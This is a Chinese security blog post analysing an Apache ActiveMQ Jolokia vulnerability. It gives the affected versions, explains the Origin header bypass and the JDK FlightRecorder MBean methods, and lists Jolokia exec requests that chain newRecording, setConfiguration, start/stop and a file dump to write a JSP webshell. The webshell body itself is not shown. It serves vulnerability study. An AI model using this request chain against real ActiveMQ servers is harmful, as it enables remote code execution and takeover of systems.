ActiveMQ的漏洞最近也有几个,但是因为我已经看到有师傅分析了自己也就没细看,想着后面学一下思路,但是后来就忘了这档子事了,正好昨天又公布了这个去年的老洞,就一口气都写一个学习笔记罢了。(主要是activemq这个产品并没有整体学一遍,正好也简单学一学。 此外,对于漏洞官方的细节非常详尽,请看这里。
影响版本
Apache ActiveMQ < 5.16.6
5.17.0 < Apache ActiveMQ < 5.17.4
前置知识
在Apache ActiveMQ中使用Jolokia API时,客户端发送的JSON请求格式依赖于你想执行的具体操作。Jolokia支持多种操作,包括读取MBean属性、执行MBean操作、写入MBean属性等。
下面介绍jolokia中的一些基本操作。
读取 MBean 属性
{ "type": "read", "mbean": "org.apache.activemq:type=Broker,brokerName=localhost", "attribute": "TotalProducerCount"}
执行 MBean 操作
{ "type": "exec", "mbean": "org.apache.activemq:type=Broker,brokerName=localhost", "operation": "addQueue", "arguments": ["TestQueue"]}
写入 MBean 属性
{ "type": "write", "mbean": "org.apache.activemq:type=Broker,brokerName=localhost", "attribute": "SomeAttribute", "value": "NewValue"}
获取所有 MBeans 的列表
{ "type": "list"} 好了有了以上内容就足够我们分析本次漏洞了。
漏洞分析
阿里云的情报都说了是Jolokia出的漏洞,自然也就直接diff看一下修复(真不是因为我懒
这里就不得不说千万别下5.17,直接用5.16相关版本,环境大坑,我弄了很久。

首先通过web.xml定位到jolokia的路径和其使用的servlet。
先分析一下org.jolokia.http.AgentServlet中的内容:


这里判断了如果你的Origin不符合条件,那么就直接退出,所以访问的时候加上Origin头。
加上头之后就能成功访问这些东西了,也就是前面前置知识里那样。
通过了解前置知识我们知道了,通过Jolikia可以对MBean进行操作,MBean时JMX中的核心部分,通过MBean可以将JDK级别的服务以接口的方式对外暴露,提供很多功能。
在Java11中,新增了一个MBean:jdk.management.jfr.FlightRecorderMXBeanImpl
对于这个MBean官方也有详细的介绍,想看的师傅可以移步FlightRecorderMXBean (Java SE 11 & JDK 11 ),我在这里就简单介绍一下。
newRecording方法用来创建一个新的记录,但是并不会启动它:
public long newRecording() { MBeanUtils.checkControl(); getRecorder(); // ensure notification listener is setup return AccessController.doPrivileged(new PrivilegedAction<Recording>() { @Override public Recording run() { return new Recording(); } }, null, new FlightRecorderPermission("accessFlightRecorder")).getId();}创建一个录制后并不会开始,要通过startRecording方法来启动这个录制,其中接受的参数就是前面返回的参数:
public void startRecording(long id) { MBeanUtils.checkControl(); getExistingRecording(id).start();}有启动自然也要停止,通过stopRecording方法停止录制:
public boolean stopRecording(long id) { MBeanUtils.checkControl(); return getExistingRecording(id).stop();}但是这个开始和结束并不能将webshell地内容放进去,所以我们还需要用setConfiguration将webshell的内容以配置的形式写入,那么配置从哪里来呢,就从getConfigurations来咯:
public List<ConfigurationInfo> getConfigurations() { MBeanUtils.checkMonitor(); return MBeanUtils.transformList(Configuration.getConfigurations(), ConfigurationInfo::new); }copyTo这个方法用来将录制的内容写入指定的文件,也就是我们本次漏洞的最后一步,写入JSP
public void copyTo(long recording, String path) throws IOException { Objects.requireNonNull(path); MBeanUtils.checkControl(); getExistingRecording(recording).dump(Paths.get(path));}官方也写得很明白,在使用的时候这样写就行了:

那么利用方式也很清晰了:创建录制—设置配置—启动录制—结束录制—写入文件
至于录制的内容就是我们要写入的shell了。
那么就开始吧,首先新建一个录制,不需要接受参数,所以我也没加,返回值中的value就是id值:
{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"newRecording"}

然后获取配置,看看是什么样的,注意这里用read:
{"type":"read","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"getConfigurations"}

修改,加入webshell:

写入,根据方法接受的参数,第一个是id也就是那个1,第二个就是修改好的配置文件内容:
{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"setConfiguration","arguments": [1,"xml"]}  开始&结束录制:
{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"startRecording","arguments": [1]}{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"stopRecording","arguments": [1]}    导出文件:   访问一下验证: 
总结
感觉每次有一些底层的大更新有新特性的时候都会出一些安全问题,这次是ActiveMQ 5.16.x开始支持Java11,所以可以从这些方面入手,看看新特性能不能高些事情。
此外这个漏洞的利用方式不止JDK的MBean一种,还可以利用一些第三方的MBean来getshell,具体的方式就请师傅们自己研究下啦~